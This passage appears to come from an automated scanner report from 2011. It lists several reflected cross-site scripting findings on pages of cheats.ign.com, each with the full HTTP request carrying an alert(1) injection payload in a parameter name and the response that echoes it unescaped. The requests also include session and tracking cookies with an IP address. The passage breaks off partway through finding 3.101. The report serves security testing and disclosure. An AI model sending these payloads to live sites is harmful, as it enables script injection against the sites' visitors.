<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/index/xbox-360-cheats/index.html?342f5"><script>alert(1)</script>f6da6f90a8e=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.93. http://cheats.ign.com/index/xbox-360-cheats/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/xbox-360-cheats/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b10a4"-alert(1)-"ad4092dec39 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/xbox-360-cheats/index.html?b10a4"-alert(1)-"ad4092dec39=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:59 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 151267

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
ard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/index/xbox-360-cheats/index.html?b10a4"-alert(1)-"ad4092dec39=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.94. http://cheats.ign.com/ob2/068/001/001317.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/001/001317.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 29999"-alert(1)-"ace275002aa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ob2/068/001/001317.html?29999"-alert(1)-"ace275002aa=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:19 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 110056

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/ob2/068/001/001317.html?29999"-alert(1)-"ace275002aa=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.95. http://cheats.ign.com/ob2/068/001/001317.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/001/001317.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 645d7"><script>alert(1)</script>76338fa888c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ob2/068/001/001317.html?645d7"><script>alert(1)</script>76338fa888c=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:15 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 110302

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/ob2/068/001/001317.html?645d7"><script>alert(1)</script>76338fa888c=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.96. http://cheats.ign.com/ob2/068/038/038020.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/038/038020.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6ff85"><script>alert(1)</script>58343bed42e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ob2/068/038/038020.html?6ff85"><script>alert(1)</script>58343bed42e=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:12:59 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 104502

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/ob2/068/038/038020.html?6ff85"><script>alert(1)</script>58343bed42e=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.97. http://cheats.ign.com/ob2/068/038/038020.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/038/038020.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 77763"-alert(1)-"34b88f4b639 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ob2/068/038/038020.html?77763"-alert(1)-"34b88f4b639=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:02 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 104439

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/ob2/068/038/038020.html?77763"-alert(1)-"34b88f4b639=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.98. http://cheats.ign.com/ob2/068/077/077644.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/077/077644.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c5b6f"-alert(1)-"4d1ec130b8e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ob2/068/077/077644.html?c5b6f"-alert(1)-"4d1ec130b8e=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:09 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 106691

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/ob2/068/077/077644.html?c5b6f"-alert(1)-"4d1ec130b8e=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.99. http://cheats.ign.com/ob2/068/077/077644.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/077/077644.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79428"><script>alert(1)</script>f8b26e0b0f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ob2/068/077/077644.html?79428"><script>alert(1)</script>f8b26e0b0f3=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:07 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 106860

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://cheats.ign.com/ob2/068/077/077644.html?79428"><script>alert(1)</script>f8b26e0b0f3=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.100. http://cheats.ign.com/ob2/068/077/077723.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/077/077723.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c538f"-alert(1)-"ca764e476e0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ob2/068/077/077723.html?c538f"-alert(1)-"ca764e476e0=1 HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:13:02 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 109334

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
omscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://cheats.ign.com/ob2/068/077/077723.html?c538f"-alert(1)-"ca764e476e0=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.101. http://cheats.ign.com/ob2/068/077/077723.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/077/077723.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff970"><script>alert(1)</script>75476dfe71e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

